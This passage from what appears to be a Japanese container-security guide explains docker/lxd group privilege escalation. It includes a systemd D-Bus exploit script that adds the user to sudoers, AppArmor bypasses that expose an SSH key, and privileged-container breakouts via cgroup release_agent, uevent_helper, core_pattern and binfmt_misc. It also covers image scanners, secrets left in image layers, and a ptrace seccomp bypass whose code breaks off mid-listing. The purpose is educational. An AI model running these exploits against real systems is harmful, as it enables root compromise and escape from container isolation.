root@f6a72ca2aaf6:/# cat /hostfs/etc/shadow
root:*:18444:0:99999:7:::
...
```

ただし、rootless docker のようにコンテナを root 以外で動かしている場合は、一般ユーザー権限でコンテナを作成するため、この攻撃を緩和することができます。

```sh
ubuntu@rootless-docker:~$ docker run --rm -it -v /:/hostfs ubuntu:latest bash
root@0e55694c273c:/# cat /hostfs/etc/shadow
cat: /hostfs/etc/shadow: Permission denied
```

## lxd グループへの追加

LXD の場合、ユーザーを `lxd` グループに追加することでコンテナの操作が可能になりますが、これも docker 同様に root 権限を与えることと同義です。  

### hook を使った権限昇格

LXC には hook 機能があり、これを利用して root として任意のコマンドを実行できます。

```sh
$ lxc launch images:ubuntu/trusty/amd64 runme -c raw.lxc="lxc.hook.pre-start=sh -c 'echo foo >/runme'"
Creating runme
Starting runme
user@host:~$ ls -l /runme 
-rw-r--r-- 1 root root 5 May  7 10:29 /runme
```

### LXD proxy を利用した権限昇格

LXD の proxy 経由で unix socket にアクセスすると、その資格情報は root になってしまいます。  
これを利用して systemd の socket に接続して任意の service を操作することができます。

例えば次のような unix socket でやり取りを行うプログラムを起動します。

```sh
$ cat echo.py
import socket
import struct

def main():
    """Echo UNIX peercreds"""
    listen_sock = '/tmp/echo.sock'
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.bind(listen_sock)
    sock.listen()

    while True:
        print('waiting for a connection')
        connection = sock.accept()[0]
        peercred = connection.getsockopt(socket.SOL_SOCKET, socket.SO_PEERCRED,
                                         struct.calcsize("3i"))
        pid, uid, gid = struct.unpack("3i", peercred)

        print("PID: {}, UID: {}, GID: {}".format(pid, uid, gid))

        continue

if __name__ == '__main__':
    main()

$ python3 echo.py
waiting for a connection
# nc -U /tmp/echo.sock でつなぐと、その UID, GID が表示される
PID: 15373, UID: 1001, GID: 1001
```

LXD proxy を用意して root で接続されるかを確認します。次のコマンドでコンテナ内の `/tmp/proxy.sock` からホストの `/tmp/echo.sock` に接続できます。

```sh
$ lxc config device add test proxy_sock proxy connect=unix:/tmp/echo.sock listen=unix:/tmp/proxy.sock bind=container mode=0777
Device proxy_sock added to test
```

同様に接続すると root になっていることがわかります。

```sh
$ lxc exec test -- sudo --user ubuntu --login
ubuntu@test:~$ nc -U /tmp/proxy.sock

$ python3 test.py
...
PID: 14988, UID: 0, GID: 0
```

これも lxd が root で動いていることが理由です。

```sh
$ ps aux | grep 14988
root     14988  0.0  0.7 1230076 30576 ?       Ssl  03:54   0:00 /snap/lxd/current/bin/lxd forkproxy -- 14522 -1 unix:/tmp/proxy.sock 13977 -1 unix:/var/lib/snapd/hostfs/tmp/echo.sock /var/snap/lxd/common/lxd/logs/test/proxy.proxy_sock.log /var/snap/lxd/common/lxd/devices/test/proxy.proxy_sock   0777
```

これを利用して systemd の socket と通信することで任意コード実行につなげることができます。  
systemd が利用する `/run/systemd/private` をコンテナ内の `/tmp/container_sock` に bind し、さらにそれをホスト側に bind することで、コンテナに入らずとも接続できるようにします。

```sh
lowpriv@vagrant:~$ lxc config device add test container_sock proxy connect=unix:/run/systemd/private listen=unix:/tmp/container_sock bind=container mode=0777
Device container_sock added to test
lowpriv@vagrant:~$ lxc config device add test host_sock proxy connect=unix:/tmp/container_sock listen=unix:/tmp/host_sock bind=host mode=0777
Device host_sock added to test
```

自身を sudoers に追加する systemd unit ファイルを作成し、systemd socket を通して実行することで root に権限昇格することができます。

```sh
$ cat /tmp/evil.service
[Unit]
Description=evil
[Service]
Type=oneshot
ExecStart=/bin/sh -c "echo user ALL=\(ALL\) NOPASSWD: ALL >> /etc/sudoers"
[Install]
WantedBy=multi-user.target

$ cat exploit.py
import socket
import sys
import time

AUTH = u'\0AUTH EXTERNAL 30\r\nNEGOTIATE_UNIX_FD\r\nBEGIN\r\n'

LINK = u'l\1\4\1$\0\0\0\1\0\0\0\242\0\0\0\1\1o\0\31\0\0\0/org/freedesktop/systemd1\0\0\0\0\0\0\0\3\1s\0\r\0\0\0LinkUnitFiles\0\0\0\2\1s\0 \0\0\0org.freedesktop.systemd1.Manager\0\0\0\0\0\0\0\0\6\1s\0\30\0\0\0org.freedesktop.systemd1\0\0\0\0\0\0\0\0\10\1g\0\4asbb\0\0\0\0\0\0\0\26\0\0\0\21\0\0\0/tmp/evil.service\0\0\0\0\0\0\0\0\0\0\0'

RELOAD = u'l\1\4\1\0\0\0\0\2\0\0\0\211\0\0\0\1\1o\0\31\0\0\0/org/freedesktop/systemd1\0\0\0\0\0\0\0\3\1s\0\6\0\0\0Reload\0\0\2\1s\0 \0\0\0org.freedesktop.systemd1.Manager\0\0\0\0\0\0\0\0\6\1s\0\30\0\0\0org.freedesktop.systemd1\0\0\0\0\0\0\0\0'

START = u'l\1\4\1 \0\0\0\1\0\0\0\240\0\0\0\1\1o\0\31\0\0\0/org/freedesktop/systemd1\0\0\0\0\0\0\0\3\1s\0\t\0\0\0StartUnit\0\0\0\0\0\0\0\2\1s\0 \0\0\0org.freedesktop.systemd1.Manager\0\0\0\0\0\0\0\0\6\1s\0\30\0\0\0org.freedesktop.systemd1\0\0\0\0\0\0\0\0\10\1g\0\2ss\0\f\0\0\0evil.service\0\0\0\0\7\0\0\0replace\0'

def send_msg(sock_name, msg):
    client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    client_sock.connect(sock_name)

    try:
        client_sock.sendall(AUTH.encode('latin-1'))
        reply = client_sock.recv(8192).decode("latin-1")
        print(reply)

        client_sock.sendall(msg.encode('latin-1'))
        reply = client_sock.recv(8192).decode("latin-1")

        print(reply)
    except:
        print("Connection reset...")

def main():

    for msg in [LINK, RELOAD, START]:
        send_msg(sys.argv[1], msg)
        time.sleep(1)

if __name__ == '__main__':
    main()

$ python3 exploit.py
OK c00157aa91bf4b70a9fcbe8e556ca3c1
AGREE_UNIX_FD

lo/org/freedesktop/systemd1s org.freedesktop.systemd1.ManagersUnitFilesChangedsorg.freedesktop.systemd1lR<usorg.freedesktop.systemdga(sss)Jsymlink /etc/systemd/system/evil.service/tmp/evil.service
OK 95eb8e05ae1647c7ba5aae363557ff5d
AGREE_UNIX_FD

lo/org/freedesktop/systemd1s org.freedesktop.systemd1.Managers  Reloadingsorg.freedesktop.systemdgb
OK 92f3058be4c74bf5a7f05a16182f393a
AGREE_UNIX_FD

lY¶o-/org/freedesktop/systemd1/unit/evil_2eservicesorg.freedesktop.DBus.PropertiessPropertiesChangedsorg.freedesktop.systemdsa{sv}as org.freedesktop.systemd1.Service¼MainPIDu
ControlPIDu
StatusTexts
           StatusErrnoiResults  exit-codeUIDuÿÿÿÿGIDuÿÿÿÿ       NRestartsuExecMainStartTimestamptØ
©ExecMainStartTimestampMonotonictÔOÔ
©ExecMainExitTimestampMonotonictîÔ

ExecMainPIDu^?
              ExecMainCodeiExecMainStatusii
ExecStartPost                              ExecStartPre ExecStart
ExecReloaExecStop
                 ExecStopPost

$ sudo su
root@host:~/# id
uid=0(root) gid=0(root) groups=0(root)
```



================================================
FILE: source/security/apparmor-bypass.md
================================================
# AppArmor のバイパス方法

AppArmor は記法が複雑であるため、バイパス可能なルールを記述してしまうケースがあります。  
ここでは、いくつかそれらの例を示したいと思います。

## 親ディレクトリを rename する

次のように `mybash` が `.ssh/` 配下のファイルを操作できないようなルールを記述します。

```c
#include <tunables/global>

/home/ubuntu/mybash {
  #include <abstractions/base>
  file,

  deny /home/ubuntu/.ssh/** mrwklx,
}
```

一見問題が無いように見えますが、 `.ssh` を rename することでバイパスできます。

```sh
ubuntu@sandbox:~$ cat .ssh/id_rsa
cat: .ssh/id_rsa: Permission denied
ubuntu@sandbox:~$ mv .ssh .sshx
ubuntu@sandbox:~$ head .sshx/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEApQusoFpwaUZ9k8Y8b521n76ImX85uGTtrnMLTK2XDkp+AEj/
```

## shebang を使った bypass

次のように mybash で perl の実行を禁止するとします。

```c
#include <tunables/global>

/home/ubuntu/mybash {
  #include <abstractions/base>
  file,

  deny /usr/bin/perl mrwlx,
}
```

この場合 shebang を使うことで perl の実行が可能です。

```sh
ubuntu@sandbox:~$ cat test.pl
#!/usr/bin/perl

print("hello\n")
ubuntu@sandbox:~$ perl ./test.pl
mybash: /usr/bin/perl: Permission denied
ubuntu@sandbox:~$ ./test.pl
hello
```


================================================
FILE: source/security/breakout-to-host.md
================================================
# ホストへのエスケープ

コンテナからホスト側にエスケープできることを、コンテナという牢獄から脱出することから「Breakout」「Jailbreak」などと呼ばれることがあります。  
ここではコンテナからホスト側への Breakout の手法について紹介します。

## Privileged Container

Privileged (特権)コンテナはホスト上の全てのデバイスへのアクセスを許可するだけでなく、AppArmor などの LSM を適用せず、Capability も過剰に与えてしまうため、適切に Isolation されていないホストのプロセスとほぼ同等のプロセスになります。  
そのため、特権コンテナを侵害された場合はホスト側にエスケープできてしまうので注意が必要です。

Linux の一部機能には任意のプログラムを実行できるヘルパー機能が多数あります。例えば `call_usermodehelper_exec()` のような Linux カーネルからユーザーランドアプリケーションを実行する API などがあります。  
Privileged コンテナのように過剰な Capability を与えると、コンテナの中で特定の操作が可能な場合、この機能を利用してホスト側にエスケープすることができます。  
ここでは、そのような機能を利用してコンテナからホストへエスケープする方法をいくつか紹介します。

## cgroup release_agent

cgourp v1 には cgroup で管理されているプロセスが存在しなくなった場合にカーネルに通知を送る機能があり、その際に release_agent プログラムとしてユーザーランドのプログラムを実行することができます。  
これを利用して例えばコンテナの中で cgroupfs をマウントすることができる場合、次のようにホスト側にエスケープすることができます。

```sh
$ docker run --privileged --rm -it ubuntu:latest bash

root@927bb44baf0d:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# release_agent を有効化する
root@927bb44baf0d:/# echo 1 > /tmp/cgrp/x/notify_on_release

# ホスト側で実行するプログラムを作成
root@927bb44baf0d:/# cat <<EOF > /cmd
> #!/bin/sh
> ps aux > /tmp/output
> EOF
root@927bb44baf0d:/# chmod +x /cmd

# ホスト側からみた実行したいプログラムのファイルパスを release_agent プログラムとして登録
root@927bb44baf0d:/# mount | grep overlay2
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4HN7CVYLX5VML6M3TK4HLNKHX2:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff,workdir=/var/lib/docker/overlay2/ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/work,xino=off)
root@927bb44baf0d:/# echo "/var/lib/docker/overlay2/ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff/cmd" > /tmp/cgrp/release_agent

root@927bb44baf0d:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# ホスト側でコマンドが実行されたことが確認できる
ubuntu@docker:/tmp$ head /tmp/output
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 168656 12660 ?        Ss   Nov02   0:04 /sbin/init
root           2  0.0  0.0      0     0 ?        S    Nov02   0:00 [kthreadd]
```

## uevent_helper

uevent はデバイスが追加 / 削除されたときに送信されるイベントです。その際に、 `/sys/kernel/uevent_helper` に記載されているプログラムを実行します。  
これを利用して次のようにホスト側にエスケープできます。

```sh
ubuntu@docker:~$ docker run --privileged --rm -it ubuntu:latest bash
# ホスト側で実行するプログラムを作成
root@76017d104897:/# cat <<EOF > /cmd
> #!/bin/sh
> ps aux > /tmp/output
> EOF
root@76017d104897:/# chmod +x /cmd

# ホスト側からみた実行したいプログラムのファイルパスを書き込む
root@76017d104897:/# mount | grep overlay2
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/US76JCNP5VCQ2CUZIXYAU2VIQQ:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/bb19048f6e555df3c5387b9a5a14c14fdd592fb97c3bd60ea5925ee75036cecd/diff,workdir=/var/lib/docker/overlay2/bb19048f6e555df3c5387b9a5a14c14fdd592fb97c3bd60ea5925ee75036cecd/work,xino=off)
root@76017d104897:/# echo "/var/lib/docker/overlay2/bb19048f6e555df3c5387b9a5a14c14fdd592fb97c3bd60ea5925ee75036cecd/diff/cmd" > /sys/kernel/uevent_helper

# uevent を発生させる
root@76017d104897:/# echo change > /sys/class/mem/null/uevent

# ホスト側でコマンドが実行されたことが確認できる
ubuntu@docker:/tmp$ head /tmp/output
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 168656 12660 ?        Ss   Nov02   0:04 /sbin/init
root           2  0.0  0.0      0     0 ?        S    Nov02   0:00 [kthreadd]
```

## core_pattern

coredump を生成する場合に `/proc/sys/kernel/core_pattern` で出力ファイル名を変更することができますが、 `|` (パイプ) が利用できるため、コマンドの実行が可能になります。  
これを利用して次のような手順でホスト側にエスケープできます。

```sh
ubuntu@docker:~$ docker run --privileged --rm -it ubuntu:latest bash
# ホスト側で実行するプログラムを作成
root@204c6661f442:/# cat <<EOF > /cmd
> #!/bin/sh
> ps aux > /tmp/output
> EOF
root@204c6661f442:/# chmod +x /cmd

# ホスト側からみた実行したいプログラムのファイルパスを書き込む
root@204c6661f442:/# mount | grep overlay2
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/UEAKPG6M42F22YWZ3I7HK3LESS:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/6acd5e8aa79a341ec8c970a77d9993617a7414b7c0e86fc719d1d54c718cc3d0/diff,workdir=/var/lib/docker/overlay2/6acd5e8aa79a341ec8c970a77d9993617a7414b7c0e86fc719d1d54c718cc3d0/work,xino=off)
root@204c6661f442:/# echo "|/var/lib/docker/overlay2/6acd5e8aa79a341ec8c970a77d9993617a7414b7c
0e86fc719d1d54c718cc3d0/diff/cmd" > /proc/sys/kernel/core_pattern

# プロセスを作り、SEGV させる
root@204c6661f442:/# sleep 100 &
[1] 16
root@204c6661f442:/# kill -SEGV 16
root@204c6661f442:/#
[1]+  Segmentation fault      (core dumped) sleep 100

# ホスト側でコマンドが実行されたことが確認できる
ubuntu@docker:/# head /tmp/output
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 168940 13144 ?        Ss   Nov13   0:05 /sbin/init
root           2  0.0  0.0      0     0 ?        S    Nov13   0:00 [kthreadd]
```

## binfmt_misc

`/proc/sys/fs/binfmt_misc` は指定したマジックナンバーや拡張子のファイルを実行する際に、指定のプログラム(インタプリタ)を実行することができます。  
これを利用することで次のようにホスト側にエスケープできます。

```sh
ubuntu@docker:~$ docker run --privileged --rm -it ubuntu:latest bash
# binfmt_misc をマウント
root@4af543b9eb3f:/# mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc

# ホスト側で実行するプログラムを作成
root@4af543b9eb3f:/# cat <<EOF >/cmd
> #!/bin/sh
> ps aux > /tmp/output
> EOF
root@4af543b9eb3f:/# chmod +x /cmd

# .sh という拡張子のプログラムが実行されると cmd が実行するようにする
root@4af543b9eb3f:/# mount | grep overlay2
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/MVSWHTODE2R4PLCNOXNJ7MEHNX:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/f5cbdf158d44a4e44969eab02661e22c0886d7695e216b4590115f35d4e7cc3f/diff,workdir=/var/lib/docker/overlay2/f5cbdf158d44a4e44969eab02661e22c0886d7695e216b4590115f35d4e7cc3f/work,xino=off)
root@4af543b9eb3f:/# echo ':evil:E::sh::/var/lib/docker/overlay2/f5cbdf158d44a4e44969eab02661e22c0886d7695e216b4590115f35d4e7cc3f/diff/cmd:OC' > /proc/sys/fs/binfmt_misc/register

# ホスト側で .sh 拡張子をもつファイルを実行すると cmd が実行される
ubuntu@docker:~$ /tmp/test.sh
ubunty@docker:~# head /tmp/output
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 168940 13144 ?        Ss   Nov13   0:05 /sbin/init
root           2  0.0  0.0      0     0 ?        S    Nov13   0:00 [kthreadd]
...
```



================================================
FILE: source/security/image/README.md
================================================


================================================
FILE: source/security/image/scanner.md
================================================
# イメージスキャン

Docker イメージにはアプリケーションの動作に必要なソフトウェアが含まれており、それらに脆弱性が存在することがあります。  
コンテナに限らず、オンプレやVMでも同様ですが、それらの脆弱性を利用されて権限昇格されることもあります。そのため、イメージに含まれる脆弱性の把握とリスク管理を行う必要があります。

ここではイメージをスキャンして脆弱性を把握するためのツールを紹介します。

## trivy

* https://github.com/aquasecurity/trivy

trivy[^1] はイメージを静的解析し、主要OSのパッケージに加えて bundler や npm などでインストールされているアプリケーションパッケージもスキャン対象に含めることができます。  
他のイメージスキャナと比較して誤検知の少なさなど、正確性も売りとなっています。

```sh
$ trivy ubuntu:latest

ubuntu:latest (ubuntu 20.04)
============================
Total: 20 (UNKNOWN: 0, LOW: 18, MEDIUM: 2, HIGH: 0, CRITICAL: 0)

+-------------+------------------+----------+------------------------+-------------------+--------------------------------+
|   LIBRARY   | VULNERABILITY ID | SEVERITY |   INSTALLED VERSION    |   FIXED VERSION   |             TITLE              |
+-------------+------------------+----------+------------------------+-------------------+--------------------------------+
| bash        | CVE-2019-18276   | LOW      | 5.0-6ubuntu1.1         |                   | bash: when effective UID is    |
|             |                  |          |                        |                   | not equal to its real UID      |
|             |                  |          |                        |                   | the...                         |
+-------------+------------------+          +------------------------+-------------------+--------------------------------+
| coreutils   | CVE-2016-2781    |          | 8.30-3ubuntu2          |                   | coreutils: Non-privileged      |
|             |                  |          |                        |                   | session can escape to the      |
|             |                  |          |                        |                   | parent session in chroot       |
+-------------+------------------+          +------------------------+-------------------+--------------------------------+
| gpgv        | CVE-2019-13050   |          | 2.2.19-3ubuntu2        |                   | GnuPG: interaction between the |
|             |                  |          |                        |                   | sks-keyserver code and GnuPG   |
|             |                  |          |                        |                   | allows for a Certificate...    |
+-------------+------------------+          +------------------------+-------------------+--------------------------------+
| libc-bin    | CVE-2016-10228   |          | 2.31-0ubuntu9.1        |                   | glibc: iconv program can       |
|             |                  |          |                        |                   | hang when invoked with the -c  |
|             |                  |          |                        |                   | option                         |
+             +------------------+          +                        +-------------------+--------------------------------+
|             | CVE-2020-6096    |          |                        |                   | glibc: signed comparison       |
|             |                  |          |                        |                   | vulnerability in the ARMv7     |
|             |                  |          |                        |                   | memcpy function                |
+-------------+------------------+          +                        +-------------------+--------------------------------+
...
```

## snyk

[snyk](snyk.io) はアプリケーションライブラリの脆弱性DBを持ち、検知するツールを提供しています。Docker のイメージスキャンに snyk が利用されるようになり、Docker 2.3.6.0 以降は `docker scan` コマンドだけでイメージスキャンが利用できるようになっています。[^2]  

```sh
❯ docker scan ubuntu:latest

Testing ubuntu:latest...

✗ Low severity vulnerability found in tar
  Description: NULL Pointer Dereference
  Info: https://snyk.io/vuln/SNYK-UBUNTU2004-TAR-576242
  Introduced through: meta-common-packages@meta
  From: meta-common-packages@meta > tar@1.30+dfsg-7

✗ Low severity vulnerability found in systemd/libsystemd0
  Description: Improper Input Validation
  Info: https://snyk.io/vuln/SNYK-UBUNTU2004-SYSTEMD-576079
  Introduced through: systemd/libsystemd0@245.4-4ubuntu3.2, apt@2.0.2ubuntu0.1, procps/libprocps8@2:3.3.16-1ubuntu2, util-linux/bsdutils@1:2.34-0.1ubuntu9.1, util-linux/mount@2.34-0.1ubuntu9.1, systemd/libudev1@245.4-4ubuntu3.2
  From: systemd/libsystemd0@245.4-4ubuntu3.2
  From: apt@2.0.2ubuntu0.1 > systemd/libsystemd0@245.4-4ubuntu3.2
  From: procps/libprocps8@2:3.3.16-1ubuntu2 > systemd/libsystemd0@245.4-4ubuntu3.2
  and 6 more...
...
```

## Anchore

* https://github.com/anchore/anchore-engine

Anchore[^3] はイメージの脆弱性を集中管理する機能を持ちます。REST API を通して利用できるためプログラマブルであることが特徴の一つです。

```sh
❯ anchore-cli image add docker.io/library/debian:latest

Image Digest: sha256:60cb30babcd1740309903c37d3d408407d190cf73015aeddec9086ef3f393a5d
Parent Digest: sha256:8414aa82208bc4c2761dc149df67e25c6b8a9380e5d8c4e7b5c84ca2d04bb244
Analysis Status: not_analyzed
Image Type: docker
Analyzed At: None
Image ID: 1510e850178318cd2b654439b56266e7b6cbff36f95f343f662c708cd51d0610
Dockerfile Mode: None
Distro: None
Distro Version: None
Size: None
Architecture: None
Layer Count: None

Full Tag: docker.io/library/debian:latest
Tag Detected At: 2020-11-15T04:23:09Z

❯ anchore-cli image list
Full Tag                               Image Digest                                                                   Analysis Status
docker.io/library/debian:latest        sha256:60cb30babcd1740309903c37d3d408407d190cf73015aeddec9086ef3f393a5d        analyzed
docker.io/library/ubuntu:latest        sha256:1d7b639619bdca2d008eca2d5293e3c43ff84cbee597ff76de3b7a7de3e84956        analyzed

❯ anchore-cli image vuln docker.io/library/debian:latest os
Vulnerability ID        Package                            Severity          Fix         CVE Refs        Vulnerability URL                                                   Type        Feed Group        Package Path
CVE-2011-3389           libgnutls30-3.6.7-4+deb10u5        Medium            None                        https://security-tracker.debian.org/tracker/CVE-2011-3389           dpkg        debian:10         pkgdb
CVE-2005-2541           tar-1.30+dfsg-6                    Negligible        None                        https://security-tracker.debian.org/tracker/CVE-2005-2541           dpkg        debian:10         pkgdb
...
```

# イメージスキャナ自体の脆弱性

イメージスキャナはイメージを静的解析するものと内部で OS コマンドやパッケージマネージャーを実行する動的解析するものがあります。  
動的解析するものにOSコマンドの呼び出しに不備があると、不正なイメージファイルをスキャンさせることで、任意コード実行につなげることができます。

例えば Anchore 0.7 では次のように OS コマンドが呼び出され、そのバリデーションに不備があったため、任意コード実行につなげることができました。

* https://github.com/anchore/anchore-engine/issues/430

中には脆弱性報告されたものの未修正のものもあるため、利用ケースを考えて使用したり、イメージスキャナ自体もアップデートしていく必要があります。[^4]

[^1]: https://github.com/aquasecurity/trivy/
[^2]: https://docs.docker.com/engine/scan/
[^3]: https://github.com/anchore/anchore-engine
[^4]: Testing docker CVE scanners. Part 2.5 — Exploiting CVE scanners / https://medium.com/@matuzg/testing-docker-cve-scanners-part-2-5-exploiting-cve-scanners-b37766f73005


================================================
FILE: source/security/image/secrets-in-layer.md
================================================
# イメージレイヤへの機密情報の保持

Docker イメージは OverlayFS のようにレイヤが存在し、ベースとなる OS レイヤに対してアプリケーションやライブラリを追加されたものになっています。

例えば次のような Dockerfile を用意しビルドします。

```sh
$ cat Dockerfile
FROM alpine:latest
RUN echo "secret" > /secret.txt
RUN rm /secret.txt

$ docker build -t test .
Sending build context to Docker daemon  10.61MB
Step 1/3 : FROM alpine:latest
 ---> d6e46aa2470d
Step 2/3 : RUN echo "secret" > /secret.txt
 ---> Running in 32f150d1804c
Removing intermediate container 32f150d1804c
 ---> 2cac5efedab4
Step 3/3 : RUN rm /secret.txt
 ---> Running in be0569fd1744
Removing intermediate container be0569fd1744
 ---> b29dd8898773
Successfully built b29dd8898773
Successfully tagged test:latest
```

この Dockerfile は3つのレイヤで構成されています。

* Layer 1 ... `FROM alpine:latest`
* Layer 2 ... `RUN echo "secret" > /secret.txt`
* Layer 3 ... `RUN rm /secret.txt`

より視覚的に確認するために [dive](https://github.com/wagoodman/dive) を使ってみると、確かに3つのレイヤであることを確認できます。[^1]

```
$ dive test
┃ ● Layers ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ │ Current Layer Contents ├────────────────────
Cmp   Size  Command                            ├── bin
    5.6 MB  FROM b1c62b187dcd114               │   ├── arch → /bin/busybox
       7 B  echo "secret" > /secret.txt        │   ├── ash → /bin/busybox
       0 B  rm /secret.txt                     │   ├── base64 → /bin/busybox
                                               │   ├── bbconfig → /bin/busybox
│ Layer Details ├───────────────────────────── │   ├── busybox
                                               │   ├── cat → /bin/busybox
Tags:   (unavailable)                          │   ├── chgrp → /bin/busybox
Id:     b1c62b187dcd114a7252e45a4f03577549d822 │   ├── chmod → /bin/busybox
77149b5467c73eefaa956260bd                     │   ├── chown → /bin/busybox
Digest: sha256:ace0eda3e3be35a979cec764a3321b4 │   ├── conspy → /bin/busybox
c7d0b9e4bb3094d20d3ff6782961a8d54              │   ├── cp → /bin/busybox
Command:                                       │   ├── date → /bin/busybox
#(nop) ADD file:f17f65714f703db9012f00e5ec98d0 │   ├── dd → /bin/busybox
b2541ff6147c2633f7ab9ba659d0c507f4 in /        │   ├── df → /bin/busybox
                                               │   ├── dmesg → /bin/busybox
│ Image Details ├───────────────────────────── │   ├── dnsdomainname → /bin/busybox
                                               │   ├── dumpkmap → /bin/busybox
                                               │   ├── echo → /bin/busybox
Total Image size: 5.6 MB                       │   ├── ed → /bin/busybox
Potential wasted space: 7 B                    │   ├── egrep → /bin/busybox
Image efficiency score: 99 %                   │   ├── false → /bin/busybox
                                               │   ├── fatattr → /bin/busybox
```

イメージは各レイヤを保持しているため、特定のレイヤを抽出することができます。  
つまり、`rm /secret.txt` のように Dockerfile 内で機密情報を削除している場合でも、その機密情報を取り出すことが可能です。

```sh
$ docker save test > test.tar
$ mkdir test
$ cd test
~/test$ tar -xf ../test.tar
~/test$ ls
b1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd       b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a  manifest.json
b29dd88987735c67e31b37de3c0c44abf656b42e6ce396defbfd967ba772e027.json  c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156  repositories

$ cat b29*.json | jq
"history": [
    {
      "created": "2020-10-22T02:19:24.33416307Z",
      "created_by": "/bin/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in / "
    },
    {
      "created": "2020-10-22T02:19:24.499382102Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"/bin/sh\"]",
      "empty_layer": true
    },
    {
      "created": "2020-11-02T09:05:38.780508124Z",
      "created_by": "/bin/sh -c echo \"secret\" > /secret.txt"
    },
    {
      "created": "2020-11-02T09:05:39.890868911Z",
      "created_by": "/bin/sh -c rm /secret.txt"
    }

$ cat manifest.json | jq
...
    "Layers": [
      "b1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd/layer.tar",
      "c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar",
      "b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a/layer.tar"
...

$ tar xf c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar
$ cat secret.txt
secret
```

上記のようなケースを防ぐために、機密情報は環境変数で渡したりするようにしましょう。[^2][^3]

---

[^1]: https://github.com/wagoodman/dive
[^2]: https://docs.docker.com/engine/swarm/secrets/
[^3]: https://docs.docker.com/develop/develop-images/build_enhancements/


================================================
FILE: source/security/seccomp-bypass.md
================================================
# seccomp のバイパス

seccomp は特定のシステムコール呼び出しを制限する機構ですが、 **Linux Kernel 4.8 まで** は ptrace を使うことでバイパスすることができます。  
これは ptrace トレーサに通知される前(システムコールが呼び出されて実行される前)に seccomp フィルタが適用されるため、seccomp によって検査された後のレジスタを変更することで、制限されているシステムコールを呼び出すことができるという仕組みです。

具体的な手順としては次の通りです。

1. `fork(2)` で子プロセスで禁止されているシステムコールを実行し、親プロセス側でそのシステムコールの監視をする
2. システムコールが呼ばれたら別のシステムコールを呼び出すようにレジスタを書き換える
3. そのシステムコールが呼び出されたら、レジスタ状態を元に戻すことで禁止されたシステムコールを実行できる

コードにすると次の通りです。

```c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/signal.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/fcntl.h>
#include <syscall.h>


void die (const char *msg)
{
  perror(msg);
  exit(errno);
}

void attack()
{
  int rc;
  
  // mkdir("dir", 0777);
  syscall(SYS_getpid, SYS_mkdir, "dir", 0777); // 引数部分に SYS_mkdir とその引数を与えておく
}

int main()
{
  int pid;
  struct user_regs_struct regs;
  switch( (pid = fork()) ) {
    case -1:  die("Failed fork");
    case 0:
              // 親プロセスにトレースさせる
              ptrace(PTRACE_TRACEME, 0, NULL, NULL);
              kill(getpid(), SIGSTOP);
              attack();
              return 0;
  }

  waitpid(pid, 0, 0);

  while(1) {
    int st;
    // 子プロセスを再開する
    ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
    if (waitpid(pid, &st, __WALL) == -1) {
      break;
    }

    if (!(WIFSTOPPED(st) && WSTOPSIG(st) == SIGTRAP)) {
      break;
    }

    ptrace(PTRACE_GETREGS, pid, NULL, &regs);
